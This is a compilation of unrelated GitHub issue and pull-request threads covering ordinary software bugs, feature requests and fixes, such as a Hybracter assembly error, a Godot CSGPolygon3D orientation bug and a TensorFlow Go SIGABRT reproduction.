Possibility to run both typescript and babel side by side

We are interested in porting our application from being webpack-es6-babel to typescript. Is their an example or tips for  running them side by side and integrating typescript into an existing webpack-es6 project?

Please post this question to Stack Overflow, as mentioned in the Issue Template.

This should be fairly easy to do, just add both JS and TS configs to your webpack.config and it will work.

Alternatively, you may also use TypeScript to compile .js files (by setting allowJs: true in tsconfig.json) and set the ts-loader / awesome-typescript-loader to also handle js files.


Copy tests from plutus-example

Pre-submit checklist:

Branch

[ ] Tests are provided (if possible)
[ ] Commit sequence broadly makes sense
[ ] Key commits have useful messages
[ ] Relevant tickets are mentioned in commit messages
[ ] Formatting, materialized Nix files, PNG optimization, etc. are updated

PR

[ ] Self-reviewed the diff
[ ] Useful pull request description
[ ] Reviewer requested

Resolves https://github.com/input-output-hk/cardano-node/issues/3675


Error: the assembly_1 and assembly_2 assemblies need to contain the same number of sequences

Hi,
Thank you for this great tool.
I am trying to assemble a bacterial genome with Nanopore long reads and Illumina paired end short reads using hybrid-single:
singularity exec hybracter_0.7.3.sif hybracter hybrid-single -l hybridassem/output/chopper/Iso16_chop.fastq -1 hybridassem/output/fastp/Iso16_fp_R1.fastq -2 hybridassem/output/fastp/Iso16_fp_R2.fastq -s Iso16 -o hybridassem/output/hybracter/Iso16_hybracter -t 32 --flyeModel --nano-raw

But the assembly fails with the following error:
Error: the assembly_1 and assembly_2 assemblies need to contain the same number
of sequences

The error log suggests this after this message:
Waiting at most 5 seconds for missing files.
MissingOutputException in rule compare_assemblies_medaka_round_1 in file /opt/miniforge3/lib/python3.10/site-packages/hybracter/workflow/rules/polishing/long_read_polish.smk, line 68:
Job 59  completed successfully, but some output files are missing. Missing files after 5 seconds. This might be due to filesystem latency. If that is the case, consider to increase the wait time with --latency-wait:
hybridassem/output/hybracter/Iso16_hybracter/supplementary_results/comparisons/Iso16/medaka_round_1_vs_pre_polish.txt

Where should I provide --latency-wait? Am I supposed to give it a value in seconds? Or does this issue have to be fixed in another manner?
I have included the error and output log files here for your reference. Any help would be appreciated.
hybracter_err_Iso16.txt
hybracter_out_Iso16.txt

Hi @rukjis,
My guess this is a bug in Hybracter - no need to pass --latency-wait.
From the output:
Loading assemblies (2024-05-11 21:03:51)
hybridassem/output/hybracter/Iso16_hybracter/processing/complete/dnaapler/Iso16_pre_chrom/Iso16_reoriented.fasta
pre_polish  contig_5: 1,208,607 bp
pre_polish  contig_3: 1,411,941 bp
pre_polish  contig_2: 3,104,156 bp

hybridassem/output/hybracter/Iso16_hybracter/processing/complete/dnaapler/Iso16/Iso16_reoriented.fasta
medaka_round_1  contig_5: 1,208,540 bp
medaka_round_1  1: 1,292,263 bp
medaka_round_1  contig_3: 1,411,927 bp
medaka_round_1  contig_2: 3,104,021 bp

There is some bug in the output for your data - not exactly sure why. I'll try and replicate the errors - it would be fantastic if you could send me the reads somehow<EMAIL_ADDRESS>But your output also suggests to me that your isolate's chromosome hasn't properly assembled with Flye  (you can check the Flye assembly info in hybridassem/output/hybracter/Iso16_hybracter/supplementary_results/flye_individual_summaries/Iso16_assembly_info.txt ).
I would assume the likely chromosome did not circularise and is not complete. It looks like your isolate is really probably 5-6mbp chromosome if I had to guess (based on a 3Mbp and 2 1Mbp contigs).
Therefore, the default -c 1000000 is too low I'd pass -c 4000000 (under 5Mbp) and/or --subsample_depth 200.
This should result in a complete assembly and probably your problem disappearing, but I do want to fix this bug nonetheless!
George


Parse integer from TEST_INTENSITY bug fix

Can one of the admins verify this patch?

This is on the right track. We need to remove intensity, and replace its uses with alternatives. See the bug post for details.

You can use the same comment for NSEEDS in the three build scripts.
As for the other uses of ncrashes in CrashChecks, that method can be removed. When you do so though, it'll break the loop I mentioned earlier. That loop needs to choose a random target, and then call forCrash directly. Take a look at how the to-be-removed forAllCrashes method chooses the target, and move that down into the to-be-kept forAllCrashes.

forCrash is being called in a loop that runs either count or ncrashes times, but I see that the target is such that it always lies between 1 and count. So, am I supposed to call forCrash inside a loop in the loop discussed above or can I directly call it once with some random value between 1 and count? Further there is another variable count in to-be-retained for loop which seems to be keeping count of the number of times forCrash is called. Is that to incremented by 1 if the latter was true?

To facilitate this discussion, I want to use distinguished names for forAllCrashes-seed and forAllCrashes.
Right now, it's like this:
forAllCrashes-seed:
    val count = count steps of test when not crashing
    if (ncount > ncrashes)
      for (ncrashes times)
        choose a random point to crash between 1 and count
        test with crash at that step
      that's ncrashes tests
    else
       for (count times)
         test with crash at step i
       that's count tests

forAllCrashes
   for (nseeds / ncrashes times)
     count += forAllCrashes-seed (choose a random seed)
   use count to compute average time

You need to effectively set ncrashes = 1. In fact, you could do exactly that, just set it to 1. I'm suggesting though, that when ncrashes=1 always, having the loop (of forAllCrashes-seed) within a loop of (forAllCrasehs) is pointless. Instead, just fold it all into one loop.
forAllCrashes
  for (nseeds)
    choose a random seed
    val count = count steps of test when not crashing
    choose a random point to crash between 1 and count
    test with crash at that step
  use nseeds to compute average time

Hope that helps.

Thanks, this helped a lot.

Great!
Sorry about this, but I completely missed something important the first time. In the scripts, NSEEDS needs to be set before the tests are run, and it needs to be exported, for example export NSEEDS=10.


[Feature]: Improvement in Date Picker.

What problem does this feature solve?
It is too much hard to pick a date which of another year. Beacuse the current picker dows not allows to pick months or years directly. For example; Try to pick 12 dec 2010, or your dob. it's of course DIY.
What does the proposed API look like?
No response

Hi! We won't add this to the npm package date picker. However, you could it add to our new date picker yourself: https://tremor.so/docs/inputs/date-range-picker


tranaparency option works inconsistently

these don't respect overlay when selected:

they respect overlay transparency only if the node is not selected:

but in other tools even when the node segment is selected they are still transparent:

in my specific use case I want to create a tutorial about how changing TMPE rules changes props. but since these signs are blocking my view it is harder to do so.

I was done like this because at high transparency values signs you will have no idea what is editable and what's not.


Failed assertion: line 1697 pos 12: '!_debugDoingThisLayout': is not true.

filing a new bug
Performing hot reload...
Syncing files to device iPad Pro (9.7-inch)...
Reloaded 4 of 619 libraries in 820ms.

error log
 ════════ Exception caught by rendering library ═════════════════════════════════════════════════════
The following assertion was thrown during performLayout():
'package:flutter/src/rendering/object.dart': Failed assertion: line 1697 pos 12: '!_debugDoingThisLayout': is not true.

Either the assertion indicates an error in the framework itself, or we should provide substantially more information in this error message to help you determine and fix the underlying cause.
In either case, please report this assertion by filing a bug on GitHub:
  https://github.com/flutter/flutter/issues/new?template=BUG.md

The relevant error-causing widget was:
  Scaffold file:///Users/tonystark/AndroidStudioProjects/yperochi/lib/Screens/Home/home_screen.dart:26:18
When the exception was thrown, this was the stack:
#2      RenderObject.layout (package:flutter/src/rendering/object.dart:1697:12)
#3      MultiChildLayoutDelegate.layoutChild (package:flutter/src/rendering/custom_layout.dart:171:11)
#4      _ScaffoldLayout.performLayout (package:flutter/src/material/scaffold.dart:484:7)
#5      MultiChildLayoutDelegate._callPerformLayout (package:flutter/src/rendering/custom_layout.dart:240:7)
#6      RenderCustomMultiChildLayoutBox.performLayout (package:flutter/src/rendering/custom_layout.dart:399:14)
...

Either the assertion indicates an error in the framework itself, or we should provide substantially more information in this error message to help you determine and fix the underlying cause.
In either case, please report this assertion by filing a bug on GitHub:
  https://github.com/flutter/flutter/issues/new?template=BUG.md

The relevant error-causing widget was:
  Scaffold file:///Users/tonystark/AndroidStudioProjects/yperochi/lib/Screens/Home/home_screen.dart:26:18
When the exception was thrown, this was the stack:
#2      RenderObject.layout (package:flutter/src/rendering/object.dart:1697:12)
#3      MultiChildLayoutDelegate.layoutChild (package:flutter/src/rendering/custom_layout.dart:171:11)
#4      _ScaffoldLayout.performLayout (package:flutter/src/material/scaffold.dart:484:7)
#5      MultiChildLayoutDelegate._callPerformLayout (package:flutter/src/rendering/custom_layout.dart:240:7)
#6      RenderCustomMultiChildLayoutBox.performLayout (package:flutter/src/rendering/custom_layout.dart:399:14)
...

The hitTest() method was called on this RenderBox: RenderSemanticsAnnotations#796e3 relayoutBoundary=up1 NEEDS-LAYOUT NEEDS-PAINT:
  needs compositing
  creator: Semantics ← Card ← UserCheckList ← _BodyBuilder ← MediaQuery ← LayoutId-[<_ScaffoldSlot.body>] ← CustomMultiChildLayout ← AnimatedBuilder ← DefaultTextStyle ← AnimatedDefaultTextStyle ← _InkFeatures-[GlobalKey#5a9a3 ink renderer] ← NotificationListener<LayoutChangedNotification> ← ⋯
  parentData: offset=Offset(0.0, 0.0); id=_ScaffoldSlot.body (can use size)
  constraints: BoxConstraints(0.0<=w<=1024.0, 0.0<=h<=692.0)
  semantic boundary
  size: MISSING
Unfortunately, this object's geometry is not known at this time, probably because it has never been laid out. This means it cannot be accurately hit-tested.
If you are trying to perform a hit test during the layout phase itself, make sure you only hit test<…>

Hi @adhyatmika-chintana
can you please send flutter doctor -v and, minimal reproduction code?
Thanks

@adhyatmika-chintana
Please provide above details.

here is the flutter doctor result

@adhyatmika-chintana
You seem to be on old version of Flutter. Can you upgrade to latest stable (1.20.4) and try again to see if you get same error ?
Also, we would need a minimal reproducible code sample that we can copy paste and run to see the issue.
Thanks.

Without additional information, we are unfortunately not sure how to resolve this issue.
We are therefore reluctantly going to close this bug for now.
Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.


dalle.pt from auxiliary.pt and checkpoints.pt

I disabled wandb during my latest run, and the checkpoints.pt and auxiliary.pt were saved, but unfortunately the dalle.pt - i am unable to generate images with those pt-files.
Is there a way to generate a dalle.pt from these files (i used deepspeed and taming for training) without having to rerun the whole training procedure?

Hopefully this script may help.


Nested @ingredients throw error

When I try to nest @ingredients, meaning I have a file A.jl that is used by B.jl as ingredient which in turn is used by C.jl as ingredient i get the an error:

However, the ingredients seems to work flawless.
Btw: how could I copy and paste an error message like the above without having to take a screenshot?

Thanks for the report! This is fixed when updating to<EMAIL_ADDRESS>(automatically with a reinstall of PlutoLinks). However, the file watching is not recursive.

Thanks Paul! Let's make a new issue about the recursive file watching in @ingredients?
Julia has a include_dependency function which the @ingredients macro could call. If there is API to ask Julia for dependent files, maybe we could use that?


Add deb & rpm packages

What would you like to be added:
Packaging from deb & rpm.
Why is this needed:
Works better with the upcoming #1949 feature.

Should we re-open this issue since OpenLens doesn't have official compiled packages?


Add ColorSnapper2.app v1.0.9

As requested in https://github.com/caskroom/homebrew-cask/issues/13847.

Merged as 44d9443595c866fc8efa81c40268f8fac0f86674.

Thanks :+1:


Enable debug info when running tests

In #16120 I added some additional members to Node, Symbol, and Type that are only available when debugging the compiler. These provide some at-a-glance information about runtime enum values. This change makes them available when debugging tests as well.

Is there a difference between running and debugging tests here? I expect we only want this information when debugging unless it's printed to the output files.


CSGPolygon3D's ends in path mode are oriented incorrectly

Tested versions

Reproducible in: 4.3.beta [97b8ad1af], 4.2.2.stable, 4.1.4.stable

System information
Windows 10 - Godot v4.2.2.stable
Issue description
I'm trying to chain together several CSGPolygon3Ds to generate a seamless shape, with several paths converging in the same direction on the same point.
The geometry between each section of this shape should connect seamlessly. However, even though I've aligned the in-out vectors of the ends of my paths, I end up with an angle between the two sections.
Current behavior

Expected behavior

Possible fix?
I decided to have a go at fixing this. It seems like the issue here is that instead of using the derivative of the curve as the direction vector for the purpose of orienting the polygon, CSGPolygon3D::_build_brush just uses the line connecting two samples of the curve.
I'm hesitant to submit a pull request for this change because it's not entirely clear to me whether it's a good idea to change this behavior now.
Steps to reproduce

Open the project included with this issue.
Open PathSample.tscn.
Pan the camera around and observe the visible angle between the two CSGPolygon3Ds.

Minimal reproduction project (MRP)
CSGPolygon3D alignment MRP.zip

Would it be possible to post a picture of the geometries with the splines curves and handles overlaid for clarity?

I'd support this change. It's important that bezier curves are correctly implemented, it's the kind of problem that cascades the more it's ignored.

This fix needs to be opt-in to avoid breaking meshes (and possibly collision) in certain projects that may rely on the existing behavior. Something like an Ensure Correct Curves property.

I wonder if perhaps adding a couple new values to the PathRotation enum would be more elegant, that would keep the number of properties down.

Best use a checkbox, the rotation enum is complicated enough and this is a correction rather than a feature.

I've implemented the checkbox in https://github.com/juanjp600/godot/commit/937e5d620b936186f4937aab70c22987ca936091.

I did try to write a unit test for this, but I was unable to instantiate a CSGPolygon3D due to a lack of a RenderingServer implementation that can exist during tests. Should I submit a pull request anyway?

Yeah go ahead, PRs are expected to be reviewed and updated.


Update documentation about project versions and production

It is not clear from the documentation whether "project upgrade" is needed in production at all, where edgedb is installed via package-manager and projects connect via DSN.
My server does not show any installed versions when using edgedb server --list-versions but still works!
It also does not show any instances!

@colinhacks, I think we need to be much more explicit that edgedb instance / edgedb project are tools for development, not production.  Deploying (and hence upgrading) in production depends on where and how things are deployed, so each deployment guide in Guides / Deployment has its own upgrade instructions.

@elprans How do you upgrade a project in production? I have the server installed on debian and run the migrations via "edgedb migrate --dsn".

@elprans I found it, you only need to use the package-manager. So is there no need for schema-upgrades anything else when upgrading edgedb?
Regarding the documenation it would certainly help to explain what an "instance" is somewhere, and also how edgedb-databases related to postgres-databases.
Since for postgreSQL the recommended ways is having one database and many schemas in it, I assumed (wrongly) that an edgedb-instance might be a postgreSQL-schema.

EdgeDB instance == Postgres cluster
EdgeDB database == Postgres database
EdgeDB schema module == Postgres schema
Currently, when doing major upgrades you must do a dump and a restore (like Postgres).  Here's a guide how to do it: https://www.edgedb.com/docs/changelog/2_x#upgrading

Thank you for your answer. I tried following the upgrade guide, but for bare-metal instance, there's no description on how to create a new instance/database. For debian, simply running apt install edgedb already creates a edgedb-database, i don't know how to create another one for version 2.

You can install version 2 of the server using apt install edgedb-2.


Incompatible with create-react-app due to outdated dependencies

requires manual ESLint installation
import/no-cycle may not have a configuration

fixed in 82a8aa7123e265e294ee8c6afafd1b5b3cf6a457


Logo and Colour Scheme Change

Update website with new logo and the resulting colour scheme

Started to update the colours, not sure about the green and blue, so I've been playing around with very very little (and light) blues, or basically getting rid of the blue, or swapping the blue our for Traffic Red (more of an orangey colour). Bleh, colour schemes.


How can I use this method?

http://dl.acm.org/citation.cfm?id=2818860&CFID=550839757&CFTOKEN=78411605

The authors use different Apache libraries of different versions to mine code examples using their tool, for which they have provided the projects and characteristics for each library used. They also use data from the OpenFlights repo, for which a data donation form has been submitted.


capturing video recording

hi - does the api provide any means to record the video streams to a file. can this be enabled server side (twilio dashboard) or some means to capture the local and remote video streams which then can be used to upload to a server.

Hi Amit,
Thanks for using our Video SDK and reaching out to us.
At present our conversations SDK does not have any recording APIs, however you can write your own renderer using TVIVideoRenderer on local or remote tracks. TVIVideoRenderer gives you I420 frames. Since the calls are peer-to-peer, we do not have anything recorded on server either. We are planning to add this functionality very soon.

As a follow on to the above scenario, using TVIVideoRenderer, would it be possible to add annotation overlays to the frames and replay and record that as part of the overall video. The replay would then render over on to the peer's video.

Hi Amit,
My apologies for responding late. Using TVIVideoRenderer APIs, developers can receive individual video frames for local and remote tracks separately. However, with our current Video SDK, annotation made on video frame can not be send over to the remote participant.
We are working on supporting Video Recording feature, I will update you when it is available for developers to try.
Please let me know if you have any questions.
Regards,
Piyush

Hello,
By doing the same research on recording videos, I come across this discussion.
I would like to know if to date you have completed the implementation for the recording of the videos.
Thanks!!!

Hello,
I just posted a comment for first question, here is a second that I can not seem to settle.
To test The BETA version of Twilio Video, it works sometimes with some browsers and not with others (firefox, chromium, chromium, internet explorer).
Thank you for your answers.


Suggestion: Images

Had some feedback via email asking about being able for users to upload a logo / screenshot of their dapp to be shown in the list.
It would not be too tricky and I would suggest cfs:s3 - although it would probably need to be submitted via a regular URL (e.g. via imgur) rather than direct upload before being approved in order to prevent abuse. Once approved the server could GET the image, convert/compress it and store it in s3 or mongo (or even just the imgur link for a demo).
The only trouble I see is how it would change the design and layout - I guess we could just make the boxes bigger on desktop, but fairly tight on mobile.

Is this a thing that we should do?

Great suggestion!
I could see a couple lean options:

Optional logo URL which would be added to the frontpage.
Optional imgur screenshot/gallery icon; when present show with http://fortawesome.github.io/Font-Awesome/icon/picture-o/ and link to img/gallery.

Not sure if I am a fan of showing the logos, especially since a lot of DApps won't have them (yet). Longer term a DApp detail page would make more sense to show more info on dapps; including screenshots etc.


pktgen-dpdk build fails with Debian testing

Already fixed upstream, submodule is outdated.

I updated pktgen version to 3.6.5. Reopen this bug if it didn't help.


Correcting license in source code file (Changing with community license)

Correcting license in source code file (Changing with community license)Correcting license in source code file (Changing with community license)

Merging with 1 Approval


Go: SIGABRT when executing the same node more than once

Problem
In Go, when we pass the same node to the fetches list more then once SIGABRT is raised.
Source code / logs
package poc_test

import (
        "fmt"
        tf "github.com/tensorflow/tensorflow/tensorflow/go"
        "github.com/tensorflow/tensorflow/tensorflow/go/op"
        "testing"
)

func TestFunc(t *testing.T) {
        // Create root scope
        root := op.NewScope()

        // Define graph

        // Create a constant matrix
        A := op.Const(root.SubScope("A"), [2][2]int32{{1, 2}, {-1, -2}})
        // Create a constant column vector
        b := op.Const(root.SubScope("b"), [2][1]int32{{10}, {100}})
        // Create a matmul operation
        mul := op.MatMul(root.SubScope("MatMul"), A, b)

        // Finalize the graph
        graph, _ := root.Finalize()

        // Create the session
        var sess *tf.Session
        sess, _ = tf.NewSession(graph, &tf.SessionOptions{})
        // Run
        var results []*tf.Tensor
        var err error
        if results, err = sess.Run(nil, []tf.Output{mul, mul}, nil); err != nil {
                t.Errorf(err.Error())
        }
        fmt.Println(results[0].Value())
}

Here's the output:
go test poc_test.go
2017-06-29 10:46:09.154744: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:893] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2017-06-29 10:46:09.155330: I tensorflow/core/common_runtime/gpu/gpu_device.cc:938] Found device 0 with properties:
name: GeForce GTX 1080 Ti
major: 6 minor: 1 memoryClockRate (GHz) 1.582
pciBusID 0000:03:00.0
Total memory: 10.91GiB
Free memory: 249.38MiB
2017-06-29 10:46:09.267778: W tensorflow/stream_executor/cuda/cuda_driver.cc:523] A non-primary context 0x1f22910 exists before initializing the StreamExecutor. We haven't verified StreamExecutor works with that.
2017-06-29 10:46:09.268001: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:893] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2017-06-29 10:46:09.268357: I tensorflow/core/common_runtime/gpu/gpu_device.cc:938] Found device 1 with properties:
name: GeForce GTX 1060 6GB
major: 6 minor: 1 memoryClockRate (GHz) 1.7845
pciBusID 0000:01:00.0
Total memory: 5.93GiB
Free memory: 5.34GiB
2017-06-29 10:46:09.268390: I tensorflow/core/common_runtime/gpu/gpu_device.cc:830] Peer access not supported between device ordinals 0 and 1
2017-06-29 10:46:09.268399: I tensorflow/core/common_runtime/gpu/gpu_device.cc:830] Peer access not supported between device ordinals 1 and 0
2017-06-29 10:46:09.268409: I tensorflow/core/common_runtime/gpu/gpu_device.cc:959] DMA: 0 1
2017-06-29 10:46:09.268415: I tensorflow/core/common_runtime/gpu/gpu_device.cc:969] 0:   Y N
2017-06-29 10:46:09.268421: I tensorflow/core/common_runtime/gpu/gpu_device.cc:969] 1:   N Y
2017-06-29 10:46:09.268433: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1028] Creating TensorFlow device (/gpu:0) -> (device: 0, name: GeForce GTX 1080 Ti, pci bus id: 0000:03:00.0)
2017-06-29 10:46:09.268440: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1028] Creating TensorFlow device (/gpu:1) -> (device: 1, name: GeForce GTX 1060 6GB, pci bus id: 0000:01:00.0)
2017-06-29 10:46:09.290295: F tensorflow/c/c_api.cc:488] Check failed: nelems == 0 (2 vs. 0)
SIGABRT: abort
PC=0x7fa8684dc670 m=0 sigcode=18446744073709551610
signal arrived during cgo execution

goroutine 5 [syscall, locked to thread]:
runtime.cgocall(0x50d580, 0xc420043d68, 0x530100)
        /usr/lib/go/src/runtime/cgocall.go:131 +0xe2 fp=0xc420043d20 sp=0xc420043ce0
github.com/tensorflow/tensorflow/tensorflow/go._Cfunc_TF_SessionRun(0x2beb8a0, 0x0, 0x0, 0x0, 0x0, 0xc42000ce40, 0xc420011040, 0xc400000002, 0x0, 0x0, ...)
        github.com/tensorflow/tensorflow/tensorflow/go/_obj/_cgo_gotypes.go:703 +0x45 fp=0xc420043d68 sp=0xc420043d20
github.com/tensorflow/tensorflow/tensorflow/go.(*Session).Run.func1(0x2beb8a0, 0x0, 0x0, 0x0, 0x0, 0xc42000ce40, 0xc420011040, 0xc400000002, 0x0, 0x0, ...)
        /home/pgaleone/projects/go/src/github.com/tensorflow/tensorflow/tensorflow/go/session.go:87 +0x23a fp=0xc420043dd8 sp=0xc420043d68
github.com/tensorflow/tensorflow/tensorflow/go.(*Session).Run(0xc42000ce20, 0x0, 0xc420043f50, 0x2, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, ...)
        /home/pgaleone/projects/go/src/github.com/tensorflow/tensorflow/tensorflow/go/session.go:91 +0x243 fp=0xc420043e70 sp=0xc420043dd8
command-line-arguments_test.TestFunc(0xc4200665b0)
        /home/pgaleone/projects/go/src/github.com/galeone/asd/poc_test.go:32 +0x35d fp=0xc420043fa8 sp=0xc420043e70
testing.tRunner(0xc4200665b0, 0x562278)
        /usr/lib/go/src/testing/testing.go:657 +0x96 fp=0xc420043fd0 sp=0xc420043fa8
runtime.goexit()
        /usr/lib/go/src/runtime/asm_amd64.s:2197 +0x1 fp=0xc420043fd8 sp=0xc420043fd0
created by testing.(*T).Run
        /usr/lib/go/src/testing/testing.go:697 +0x2ca

goroutine 1 [chan receive]:
testing.(*T).Run(0xc4200664e0, 0x559659, 0x8, 0x562278, 0xc420053d20)
        /usr/lib/go/src/testing/testing.go:698 +0x2f4
testing.runTests.func1(0xc4200664e0)
        /usr/lib/go/src/testing/testing.go:882 +0x67
testing.tRunner(0xc4200664e0, 0xc420053de0)
        /usr/lib/go/src/testing/testing.go:657 +0x96
testing.runTests(0xc42000cd80, 0x7ecf80, 0x1, 0x1, 0x4131ac)
        /usr/lib/go/src/testing/testing.go:888 +0x2c1
testing.(*M).Run(0xc420053f20, 0xc420053f20)
        /usr/lib/go/src/testing/testing.go:822 +0xfc
main.main()
        command-line-arguments/_test/_testmain.go:42 +0xf7

goroutine 17 [syscall, locked to thread]:
runtime.goexit()
        /usr/lib/go/src/runtime/asm_amd64.s:2197 +0x1

rax    0x0
rbx    0x6
rcx    0x7fa8684dc670
rdx    0x0
rdi    0x2
rsi    0x7ffe4515bf50
rbp    0x7ffe4515c1a0
rsp    0x7ffe4515bf50
r8     0x0
r9     0x7ffe4515bf50
r10    0x8
r11    0x246
r12    0x2
r13    0x2
r14    0x2bf8160
r15    0x20
rip    0x7fa8684dc670
rflags 0x246
cs     0x33
fs     0x0
gs     0x0
FAIL    command-line-arguments  0.544s

The same logic,  in python, works without any issue:
import tensorflow as tf

A = tf.constant([[1,2], [-1, -2]])
b = tf.constant([[10], [100]])

mul = tf.matmul(A, b)

with tf.Session() as sess:
    print(sess.run([mul, mul]))

outputs
[array([[ 210],
       [-210]], dtype=int32), array([[ 210],
       [-210]], dtype=int32)]

as expected.
System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow): yes
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Archlinux
TensorFlow installed from (source or binary): source
TensorFlow version (use command below): 1.2.0
Bazel version (if compiling from source): 0.5.1
CUDA/cuDNN version: cuda 8, cudnn 5.1
GPU model and memory:  GeForce GTX 1080
Exact command to reproduce: go test

Thanks for the report, it certainly shouldn't fail with a SIGABRT.
(That said though, am curious about the use case for fetching the same value multiple times).

I was showing that in tfgo when one assign a go variable to another go variable it needs to "clone" it before the assignment in order to create a different and new node in the graph.
Otherwise the assignment only exists in Go but the underlying reference points to the same node in the graph.
(In short I was showing how to use tf.assing and not the assing operation of the varible used).
To empathize this, I'd like to show that those 2 Go variables when evaluated contain the same value.
But I can't because of that bug, thus I fallback showing it in another way: The first example here: https://github.com/galeone/tfgo#getting-started


Mark schema compare tests as unstable

Marking a couple schema compare integration tests as unstable for now since they've failed a few times in the past month or two.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 41.654%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
26577

Relevant Lines:
57807

💛  - Coveralls

Yeah it's giving the error that table3 isn't created when the tests fails. This happens after doing schemaComparePublishChanges(). This request returns right away after starting the task, so the update isn't actually finished when the publish call returns. There's some retry logic when checking if the table is created, but I suspect the update is just a little slow the times that this test is failing.


chore: pre-commit autoupdate

:tada: This PR is included in version 3.0.0-beta.1 :tada:
The release is available on:

v3.0.0-beta.1
GitHub release

Your semantic-release bot :package::rocket:

:tada: This PR is included in version 2.2.6 :tada:
The release is available on:

v2.2.6
GitHub release

Your semantic-release bot :package::rocket:


Bug when recieving money

Hello,
I've requested on coinjoin to send money to a certain address and it awaited confirmations. The truth is, I've actually verified that it confirmed already at qrs54r3ystkr9de7tnjge0ytnajujswphvlwj0s8s9 but the money wasn't sent to the final destination I've inserted, never arrived. So I was looking forward to whether it could be returned to the original sending point, or forward to the final address I've wanted to.
Thanks.

This is not a repo for any public-facing service.
I suspect, from other bug reports, that you have been scammed by coin join dot io. I'm sorry for your loss but this has nothing to do with me and there is nothing I can do.


pass up original MouseEvent when calling onLayerClick and onLayerHover

#224
let me know if we should rename some variables here to make it clearer

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.


clang 12.0.0

Fixes #140

Checklist

[x] Used a personal fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[x] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

@isuruf OK to merge?

osx-arm build timed out on master

Retriggered


bxcan/defmt  version conflict

In code that uses multiple device crates I have started having cargo update problems because of the change in the dependency  bxcan = "0.4" (see https://github.com/stm32-rs/bxcan/issues/22#issue-848677821 and https://github.com/stm32-rs/stm32f7xx-hal/issues/114#issue-848734979). Can the dependency be more flexible, say bxcan = ">=0.4" ?

Going through old issues - looks like this one can be closed now with defmt 0.3 / bxcan 0.6 in #146; feel free to reopen if that did not resolve this.

Seems to be fixed. Thanks.


Update model-based_causal_inference_for_RCT.html

corrected a typo in the title

Thanks.  Did you alert whoever wrote the case study so they can fix the source, too?


Make Python 3 compatible

All tests pass on Python 2.6 and Python 3.4.  When I get some more time, I'll look into adding more tests.

Thanks for your work @wylee which has been added through other PRs now. The 'develop' branch of xhtml2pdf is where the python3 action is happening and will be pre-released as 0.1alpha1 soon.


web_website: repair tests after recent update

Reference: https://github.com/odoo/odoo/commit/4205cb2728041487bd026bf5c6bac590e0ace1e9

I approve to merge it now


Improve addListener documentation

see also https://github.com/react-navigation/rfcs/issues/11

not sure what you mean by s/json/JSON, tell me if it's good

oh, s/x/y is a shorthand for saying replace x with y - it's how you do it in vim

ah ok, I only know how to exit it ;)


Proposal: Pluggable route variables

New Feature
Downstream route variables could pull from a pluggable architecture. I have implemented a similar mechanism in our companies usage of Ocelot, where downstream variables could be of the format {claim->UserID} to replace a variable with the first UserID claim and similar for request headers, cookies, and other variables. It also allows operations such as concatenating variables or similar. We also use it in claim authorization for routes.
Motivation for New Feature
All downstream variables currently require the variable to be a replacement from the upstream request. A system such as this would significantly increase flexibility allowing things such as routing to a URL based on the currently logged in user.

Any update on this ?

Any update on this ?

Any update on this ?

4 years have been passed... 😄

@philproctor

We also use it in claim authorization for routes.

It seems you override AuthorizationMiddleware to process and manipulate claims, right?
So, we didn't see your PR or more detailed description here...
I understood that your feature request is very rare user case for your specific needs only. Am I right?
Could you show your idea better in details plz? Any sample code?

@redplane @xclw2000 @lujiaxing
Hello community! The update is above! ☝

Lack of design description!
Should be discussed more!
Converting to a discussion...


Formatting with negative exp number outputs to NaN

Code
numeral(3.1234567891e-7).format('0,000.000');
Expected output
"0.000"
Returned output
NaN
Additional Details
The error is probably introduced in the current version of the library. Version 2.0.4 does not have this problem.

Having the same issue. Created a fiddle here:
https://jsfiddle.net/roxlu/pm25d4eg/


fix gaussianpyramid

Small changes I had locally done while working on ORB but forgot to push to this PR.

I tried the version with typeof(img_smoothed) but surprisingly, that one gives a type unstable result. The current one with typeof(img) gives a type stable result. Both of them have multiple unstable temporaries though because of imfilter_gaussian.
Should I keep this version?

From your "surprise," it sounds like your intuition is right. Just in case it's not fully clear, because of this:
julia> using Images, Colors

julia> a = rand(Gray{U8}, 5, 5);

julia> eltype(imfilter_gaussian(a, [2,2]))
ColorTypes.Gray{Float64}

this version can't be type-stable for general inputs.
In the long run, it has a much greater chance of being type-stable if you use typeof(img_smoothed_main)[]; what's working against you at the moment is that imfilter_gaussian is not inferrable. (This is already fixed in ImagesFiltering, on the finish branch.)
I'd say it's probably best to write the code in a way that looks towards the future, since this version will only be type stable for certain kinds of inputs.

Oh, I understand now. I'll make the changes and submit :)

Coverage increased (+0.008%) to 78.778% when pulling d5245b78611d14d1a2abfe97c97ccf6e00150c57 on mronian:fixgauss into 329ba638f1045d812ea0d5466510322314910cec on timholy:master.

@timholy Is it ok if we tag a new release?

Done.

Thanks!


[NIFI-9623] - Attempt to look up messages locale file without country…

… designation if it fails to find it with the country designation

Thank you for submitting a contribution to Apache NiFi.
Please provide a short description of the PR here:
Description of PR
Enables X functionality; fixes bug NIFI-YYYY.
In order to streamline the review of the contribution we ask you
to ensure the following steps have been taken:
For all changes:

[X] Is there a JIRA ticket associated with this PR? Is it referenced
in the commit message?

[X] Does your PR title start with NIFI-XXXX where XXXX is the JIRA number you are trying to resolve? Pay particular attention to the hyphen "-" character.

[X] Has your PR been rebased against the latest commit within the target branch (typically main)?

